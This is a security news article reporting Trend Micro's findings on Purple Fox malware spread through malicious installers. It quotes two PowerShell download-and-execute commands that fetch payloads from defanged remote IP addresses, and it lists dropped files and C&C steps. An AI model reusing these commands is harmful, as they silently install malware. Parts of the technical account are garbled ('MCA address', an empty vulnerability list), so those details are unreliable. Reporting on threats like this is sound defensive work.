Saturday, March 1, 2025
Homecyber securityMalicious Telegram Messenger App Using New Purple Fox Malware to Hack PCs

Malicious Telegram Messenger App Using New Purple Fox Malware to Hack PCs

Published on

SIEM as a Service

Follow Us on Google News

The cybersecurity experts at Trend Micro have found a very suspicious activity of Purple Fox operators. This Purple Fox malware installs further malicious payloads on all the devices that are already infected or compromised.

The threat actors have noticed that the attacks generally take advantage of legitimate software for implementing malicious payloads. The vulnerability has been named CVE-2021-1732, and this vulnerability generally optimizes rootkit capabilities that are leveraged in their attacks.

Capabilities & Technical Analysis

In this attack, the threat actors have implemented some commands such as:-

  • “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘hxxp[[:]]//103.228.112.246[[:]]17881/57BC9B7E.Png’);MsiMake hxxp[[:]]//103.228.112.246[[:]]17881/0CFA042F.Png”
  • “cmd.exe” /c powershell -nop -exec bypass -c “IEX (New-Object Net.WebClient).DownloadString(‘http[:]//117.187.136.141[:]13405/57BC9B7E.Png’);MsiMake http[:]//117.187.136.141[:]13405/0CFA042F.Png”

However, this kind of command helps the threat actor to download some malicious payloads in the affected devices that have been hosted on several compromised servers. 

The PurpleFox servers have been founded on some locations that we have mentioned below:-

  • China – 345
  • India – 34
  • Brazil – 29
  • The United States – 26
  • Others – 113

Targeted vulnerabilities

The vulnerabilities that are targeted or exploited:-

Files dropped

The cybersecurity experts have found some files that have been dropped onto the infected system:

  • Calldriver.exe
  • Driver.sys
  • dll.dll
  • kill.bat
  • speedmem2.hg 

Second & Third Exchange (Victim to C&C)

However, in the second key exchange, it has been noted that the messages are sent from the severe to the infected device of the client, and all of these were handled on the onReceive function.

In the third exchange, once the encrypted session is designated over the WebSocket, now the users have to put their fingerprint on the machine.

And all of this is done by extracting some definite information such as:-

  • Machine name
  • Local IP
  • MCA address
  • Windows version

This type of attack is quite hazardous and has a lot of impact on the infected device. After investigating the whole attack, the cybersecurity detected a large number of malicious installers that kept delivering the same Purple Fox rootkit version.

And threat actors do this by using a similar attack chain, and not only that even they also deliver emails through email; on the other side, there are some that have been suspected to be downloaded from phishing websites. 

So, as a recommendation, the client must stay alerted by this kind of attack as it puta a huge impact on the affected devices.

You can follow us on LinkedinTwitterFacebook for daily Cybersecurity and hacking news updates.

Balaji
Balaji
BALAJI is an Ex-Security Researcher (Threat Research Labs) at Comodo Cybersecurity. Editor-in-Chief & Co-Founder - Cyber Security News & GBHackers On Security.

Latest articles

Chinese Hackers Breach Belgium State Security Service as Investigation Continues

Belgium’s State Security Service (VSSE) has suffered what is being described as its most...

Hacktivist Groups Emerge With Powerful Tools for Large-Scale Cyber Operations

Hacktivism, once synonymous with symbolic website defacements and distributed denial-of-service (DDoS) attacks, has evolved...

New Pass-the-Cookie Attacks Bypass MFA, Giving Hackers Full Account Access

Multi-factor authentication (MFA), long considered a cornerstone of cybersecurity defense, is facing a formidable...

Chinese Hackers Exploit Check Point VPN Zero-Day to Target Organizations Globally

A sophisticated cyberespionage campaign linked to Chinese state-sponsored actors has exploited a previously patched...

Supply Chain Attack Prevention

Free Webinar - Supply Chain Attack Prevention

Recent attacks like Polyfill[.]io show how compromised third-party components become backdoors for hackers. PCI DSS 4.0’s Requirement 6.4.3 mandates stricter browser script controls, while Requirement 12.8 focuses on securing third-party providers.

Join Vivekanand Gopalan (VP of Products – Indusface) and Phani Deepak Akella (VP of Marketing – Indusface) as they break down these compliance requirements and share strategies to protect your applications from supply chain attacks.

Discussion points

Meeting PCI DSS 4.0 mandates.
Blocking malicious components and unauthorized JavaScript execution.
PIdentifying attack surfaces from third-party dependencies.
Preventing man-in-the-browser attacks with proactive monitoring.

More like this

Chinese Hackers Breach Belgium State Security Service as Investigation Continues

Belgium’s State Security Service (VSSE) has suffered what is being described as its most...

Hacktivist Groups Emerge With Powerful Tools for Large-Scale Cyber Operations

Hacktivism, once synonymous with symbolic website defacements and distributed denial-of-service (DDoS) attacks, has evolved...

Winos4.0 Malware Targets Windows Users Through Malicious PDF Files

A new wave of cyberattacks leveraging the Winos4.0 malware framework has targeted organizations in...